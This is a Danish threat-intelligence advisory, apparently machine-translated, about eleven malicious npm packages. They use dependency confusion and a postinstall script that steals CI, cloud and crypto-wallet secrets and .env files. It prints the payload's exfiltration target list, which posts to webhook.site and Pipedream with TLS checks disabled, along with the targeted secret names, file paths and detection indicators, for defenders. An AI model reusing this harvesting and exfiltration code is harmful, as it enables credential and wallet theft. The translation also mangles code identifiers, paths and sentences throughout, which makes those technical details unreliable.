TL; DR
Den 17. juni 2026 blev en enkelt npm-konto offentliggjort elleve pakker, der deler ét formål og én nyttelastTi af dem bærer cryptodao- præfiks (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); den ellevte er den omfangsrige @public-for-cdao/coreHver enkelt blev udgivet i version 99.99.99 og sender en byte-identisk recon.js der kører videre postinstall.
Navnene er det afgørende. De lyder som de interne byggesten i et krypto-/DAO-projekts private værktøjskæde. De udgives i det offentlige npm-register i en kunstigt høj version og venter på en build. pipeline som er konfigureret til at fortolke disse navne, og som når offentlige npm før – eller i stedet for – det private register. Dette er afhængighedsforvirring, og nyttelasten er indstillet til præcis, hvor den forventer at lande: CI/CD løbere.
Når postinstall brande, recon.js indsamler værtsoplysninger, scanner groft fyrre cloud-, CI- og krypto-wallet-miljøvariabler, læser enhver .env filer den kan finde og videresender de hemmelighedsbærende linjer ordret, og sender derefter bundtet til to indsamlere — webhook.site og et Pipedream-slutpunkt — med TLS-certifikatverifikation deaktiveret. En kopi skrives også under /tmp.
Alvorlighed: højBerørt økosystem: NPMAlle elleve pakker var live på tidspunktet for skrivningen.
Angrebsanatomi
Mekanismen har fire bevægelige dele, og ingen af dem er diskrete, når man først ved, hvordan man gør. kig et lag forbi pakkenavnet.
1. Versionsoppustning som et lokkemiddel til at lokke folk til at bruge resolvere. Hver pakke deklarerer version 99.99.99Afhængighedsforvirring opstår, når en pakkehåndtering beder om en internt navn, tjekker også det offentlige register og vælger den højeste version finder. npms standardvalg for et cirkumfleks- eller jokertegnområde er den mest tilfredsstillende version på tværs af alle konfigurerede kilder; hvis begge er private registreringsdatabasen og det offentlige npm-svar for samme navn, vinder det større versionsnummer. A 99.99.99 overgår stort set enhver reel intern version, et projekt vil have nået, så en resolver, der ikke er fastgjort til den private kilde, foretrækker offentlig – og i dette tilfælde fjendtlig – kopi. Operatøren behøver ikke at kende målets rigtige versionsnumre; at vælge et absurd maksimum garanterer altid uafgjort bryder deres vej.
2. En efterinstallationsudløser. pakke.json forbinder nyttelasten til installationen livscyklus:
{ "scripts": { "postinstall": "node recon.js" } } Ingen import af pakken er nødvendig. Blot installation af den — hvilket er et CI pipeline kører automatisk — recon.js.
3. En bred hemmelig afdækning. recon.js samler en resultatmatrix i etaper:
- Værtskontekst: værtsnavn, platform og udgivelse, arkitektur, brugernavn, funktion mappe.
- Miljøvariabler: den itererer en fast liste med omkring fyrre navne og poster alle der er indstillet. Listen er afslørende — den parrer generiske CI-tokens (CI_JOB_TOKEN, CI_REGISTRERINGSKODEORD, GITLAB_ACCESS_TOKEN) og sky legitimationsoplysninger (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN) med registreringsdatabase- og containerhemmeligheder (NPM_TOKEN, DOCKER_PASSWORD, HAVNEADGANGSKODE) og en tydeligt krypto-smagsat klynge: PRIVAT_NØGLE, MNEMONISK, SEED_PHRASE, INFURA_API_NØGLE, ALCHEMY_API_NØGLE, ETH_RPC, BSC_RPCRegistrerede værdier afkortes til de første 50 tegn.
- .env filer: den undersøger en liste over stier — .env, ../.konvolut, /app/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, og .produktion/.udvikling varianter — og for enhver fil, der findes, er det filtrerer indholdet til linjer, der matcher NØGLE|HEMMELIGHED|POLETT|ADGANGSKODE|PRIVAT|HUSKEDSKODE og skubber disse linjer **fuldt ud, uafkortet** ind i resultaterne.
- Build-host-kontekst: den viser de første 20 poster i /bygger/, /hjem/gitlab-løber/bygger/, /var/lib/gitlab-løber/og / Tmp /.
Stilisten og variabellisten vægtes mod GitLab-løbere, hvilket peger på nyttelasten direkte på selvhostet CI-infrastruktur snarere end en udvikler bærbar computer. Gruppering af fangstlisten efter kategori gør det planlagte fangst tydeligt:
| Kategori | Variabler/stier nået |
|---|---|
| CI/CD identitet og implementering | CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY |
| Cloud | AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN |
| Registrering og container | NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD |
| Datalagre | DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD |
| Krypto / blockchain | PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC |
| Beskeder | SLACK_TOKEN, DISCORD_TOKEN |
| På disk | .env familie + /home/gitlab-runner/.env, /root/.env, /app/**/.env; kataloglister over /builds/, /var/lib/gitlab-runner/ |
Kryptoklyngen er den del, der adskiller dette fra en generisk CI-hemmelighed sweep: wallet-seedfraser og signeringsnøgler vises kun i miljøet for en blockchain-projekt, og de knytter sig direkte til kryptodao-/tegn/kontrakter navngivning af transportørerne.
4. Dobbelt eksfiltrering med verifikation deaktiveret. Det indsamlede array er serialiseret og POSTET til to destinationer:
const targets = [ { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' }, { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 }) afvisUautoriseret: falsk slår TLS-certifikatkontroller fra for udgående opkald. De samme data udskrives til stdout (så de også lander i CI-joblogfilerne) og skrevet til /tmp/.npm_recon_ .jsonFejl sluges lydløst, så en mislykket afsendelse efterlader ingen spor i installationsoutputtet ud over en enkelt [rekognoscering] installeret på linje.
En ledende kommentar i filen beskriver det som en "afhængighedsforvirring". "Rekognosceringsnyttelast." Afkortningen af miljøværdier til 50 tegn har formen af et proof of concept. Det, der bevæger det forbi et tilstedeværelsesbaseret beacon, er .env håndtering: hemmelige linjer videresendes fuldt ud, og destinationerne er to fungerende, angriberstyrede opsamlere i stedet for en vask, der kun tæller hits.
Tidslinje
Udgivelsesmønsteret er signaturen for et enkelt scriptet push, ikke elleve uafhængige uploads.
| Tid (UTC, 2026-06-17) | Begivenhed |
|---|---|
| 03:24:58 | cryptodao-bot@99.99.99 offentliggjort |
| 03:25:01 | cryptodao-signer@99.99.99 |
| 03:25:04 | cryptodao-deploy@99.99.99 |
| 03:25:08 | cryptodao-backend@99.99.99 |
| 03:25:11 | cryptodao-contracts@99.99.99 |
| 03:25:14 | cryptodao-sdk@99.99.99 |
| 03:25:18 | cryptodao-utils@99.99.99 |
| 03:25:21 | cryptodao-core@99.99.99 |
| 03:25:24 | cryptodao-types@99.99.99 |
| 03:25:27 | cryptodao-config@99.99.99 |
| 03:49:59 | @public-for-cdao/core@99.99.99 — scoped variant, ~24 min senere |
Ti pakker blev sendt afsted inden for et vindue på 29 sekunder, cirka én hvert tredje sekund. Det omfangede @offentlig-for-cdao/kerne fulgte cirka 24 minutter efter — et sekund navngivningskonvention for det samme mål, i tilfælde af at det forbrugerprojekt refererer til intern værktøjskæde under et omfang snarere end som nøgne navne.
Indikatorer for kompromis
| Type | Indikator |
|---|---|
| Collector | hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd |
| Collector | hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/ |
| Installer krog | postinstall: node recon.js |
| Droppede fil | /tmp/.npm_recon_<timestamp>.json |
| Logmarkør | [recon] <pkg>@<ver> installed on <hostname> (stdout i CI-logfiler) |
| Behavioral | rejectUnauthorized: false på udgående HTTPS under installation |
| payload | recon.js, identisk på tværs af alle elleve pakker (én delt build) |
| Version | 99.99.99 på hver pakke |
| Pakker | cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (alle 99.99.99) |
| Forlægger | aduljune / aduljune@proton.me (e-mail ubekræftet, intet linket kildelager) |
Attribuering og observeret adfærd
Alt ved klyngen peger på én hånd. Alle elleve pakker blev udgivet af npm-kontoen aduljune (aduljune@proton.me, en ubekræftet adresse uden linket kildelager), inden for et tidsrum på 25 minutter, på samme tid 99.99.99 version, forsendelse af en recon.js hvis indhold er identisk byte-for-byte på tværs af alle pakke (MD5-matcher på tværs af alle elleve udtrukne kopier). Det er én nyttelast stemplet på en navneliste, ikke uafhængig genbrug af kode.
Navnelisten definerer det tilsigtede mål. kryptodao-* og cdao beskriv layout af privat modul i et krypto-/DAO-projekt og nyttelastens høstliste spejle der gætter: sammen med de generiske CI og cloud-hemmeligheder, er det specifikt rækker ud efter PRIVAT_NØGLE, MNEMONISK, SEED_PHRASE, og Ethereum/BSC RPC og udbydernøgler. Den .env Søgestier og mappelister er GitLab-runner specifik. Den observerbare effekt er, at enhver pipeline narret til at installere disse navne ville videresende sine CI-tokens, cloudnøgler og on-disk .env hemmeligheder – og for et blockchain-projekt, dets tegnebogsmateriale — til to tredjepartsindsamlere.
Vi fremsætter ingen påstand om, hvem der administrerer kontoen, eller hvad de planlagde at gøre med den. data. De fakta, der står på egne ben: navnene er rettet mod en bestemt type intern værktøjskæde, nyttelasten læser og transmitterer reelle hemmelige værdier, og infrastrukturen var live.
Indvirkning, tendenser og vejledning til forsvarere
Forvirring omkring afhængighed forbliver effektiv, fordi den udnytter resolveradfærd, ikke en sårbarhed i enhver pakke. Bæreren her er triviel — elleve næsten tomme pakker — men eksplosionsradiusen er uanset hvad pipeline foretrækker fejlagtigt offentlig npm for et internt navn. CI-løbere er det værste sted, hvor det kan ske: de holder præcis tokens og .env filer som denne nyttelast læser, og de installerer afhængigheder ikke-interaktive, så en efterinstallation løber uden at nogen ser på.
Denne klynge passer også ind i et mønster, vi bliver ved med at se: nyttelast under installation, der præsenterer som "forskning" eller "rekognoscering", mens der foretages reel indsamling af legitimationsoplysninger. Etiketten i filen ændrer ikke, hvad koden gør på en løber. To designvalg bevarer aktiviteten stille: hver netværks- og filsystemoperation er pakket ind i en undtagelseshåndtering, der kasserer fejl, så en blokeret afsendelse eller en manglende fil producerer ingen diagnostisk output, og det eneste, der udskrives, er et enkelt uskadeligt [rekonstruktion] … installeret linje, der blandes med normal installationssnakker. Brugen af webhook.site og Pipedream er også bevidst bekvemmelighed — begge er gratis, øjeblikkeligt klargjorte anmodningsindsamlingstjenester, så operatøren ikke behøver servere deres egne, og destinationerne ligner almindelige SaaS-værtsnavne i udgående logfiler.
Det er økonomien, der gør dette værd at være opmærksom på en forsvarer, selvom Transportørkode er triviel. Det koster ingenting at registrere elleve navne, nyttelasten er én filen kopieres elleve gange, og pakkehåndteringen udfører alt. En enkelt forkert konfigureret pipeline ethvert sted, der bruger et af disse navne, betaler for det hele drift.
Konkrete trin for forsvarere:
- Fastgør interne scopes til dit private register. Konfigurer npm så interne navne
og scopes fortolkes kun i forhold til din registreringsdatabase (scoped .npmrc registreringsdatabasetilknytninger, eller en proxy, der aldrig falder igennem til offentlig npm for ejede navnerum). Reserver dine offentlige scope-navne, så ingen andre kan registrere dem.
- Commit låsefiler og installere med –ignore-scripts i CI hvor det er muligt, eller Undersøg det lille sæt af afhængigheder, der virkelig har brug for installationsscripts. recon.js kan ikke køre hvis efterinstallation er ikke udført.
- Behandl en 99.99.99 (eller en anden absurd høj) version af et internt udseende navn som et rødt flag i afhængighedsgennemgang og registerovervågning.
- Advarsel ved udgående processer under installation. A efterinstallation der åbner en udgående HTTPS forbindelse — især med certifikatbekræftelse deaktiveret — til webhook.site, Pipedream eller lignende request-capture-tjenester er værd at blokere ved netværkskanten og markere i build-logs.
- Jagt efter artefakterne. Tjek løbere for /tmp/.npm_recon_*.json Og for [rekonstruering] … installeret på … markør i nylige CI-logfiler. Hvis fundet, roter hver legitimationsoplysninger udsat for det pipeline — CI-tokens, cloud-nøgler, registry-tokens og eventuelle wallet-seeds eller private nøgler, der findes i miljøet eller .env-filer.
Referencer
Der fandtes ingen ekstern rapportering om denne klynge på tidspunktet for skrivningen; analysen Ovenstående er baseret direkte på det offentliggjorte pakkeindhold




